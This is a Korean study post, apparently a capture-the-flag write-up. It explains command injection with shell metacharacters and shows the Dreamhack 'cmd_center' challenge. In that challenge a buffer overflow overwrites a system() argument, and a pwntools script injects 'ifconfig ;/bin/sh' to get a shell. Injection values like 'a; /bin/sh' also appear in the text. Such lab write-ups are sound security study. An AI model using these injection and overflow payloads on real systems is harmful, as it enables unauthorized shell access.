Command Injection
: 명령어를 실행하는 함수에 사용자가 임의의 인자를 전달할 수 있을 때 발생하는 취약점
Meta 문자 | description | example |
$ | 셸 환경변수 | $echo $PWD |
&& | 이전 명령어 실행 후 다음 명령어 실행 | $echo hello && echo theori |
; | 명령어 구분자 | $echo hello; echo theori |
* | 와일드 카드 | $echo .* |
' | 명령어 치환 | $echo 'echo hellotheori' |
예시로 ping [userinput]의 경우
userinput = 'a; /bin/sh' 입력 시에 ping실행 후에 셸 획득가능
+ system함수 명령어 실행과정
library내부의 do_system함수 호출 - do_system함수는 "sh-c"와 system함수의 인자와 결합하여 execve 시스템 콜을 호출한다.
cmd_center
주요 코드
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
- cmd_ip 에 "ifconfig"라는 문자열 저장, int dummy, center_name은 24바이트
- read함수를 통해 100바이트를 읽어와서 center_name에 저장 => BOF 취약점!
- strncmp함수를 이용하여 cmd_ip의 값의 첫 8바이트가 ifconfig와 일치하면 system함수 호출
=> command injection 취약점!
즉, cmd_ip를 조작하여 command injection 가능하다
Exploit
center_name을 이용하여 cmd_ip를 "ifconfig;/bin/sh"로 덮어쓰는 것이 목표이므로
center_name과 cmd_ip사이의 거리를 구해보자.
read(0,center_name,100)
system
read는 <main+125> 을 통해 [rbp-0x130]에 위치한다는 것을 알 수 있고,
system은 <main + 171>을 통해 [rbp -0x110]에 위치함을 알 수 있으므로 둘 사이의 거리는 0x20 (32바이트)
그러므로 dummy값으로 32바이트만큼을 채우고 원하는 명령어를 적어주면 된다.
from pwn import *
p = remote("host3.dreamhack.games",13518)
payload = b'A' * 32
payload += b"ifconfig ;/bin/sh"
p.sendlineafter("Center name: ", payload)
p.interactive()
'System Hacking' 카테고리의 다른 글
SECCOMP (0) | 2024.03.23 |
---|---|
Path Traversal (0) | 2024.03.23 |
Logical Bug : Type Error (0) | 2024.03.22 |
Double Free Bug | dreamhack (1) | 2024.03.17 |
Use After Free | dreamhack (1) | 2024.03.17 |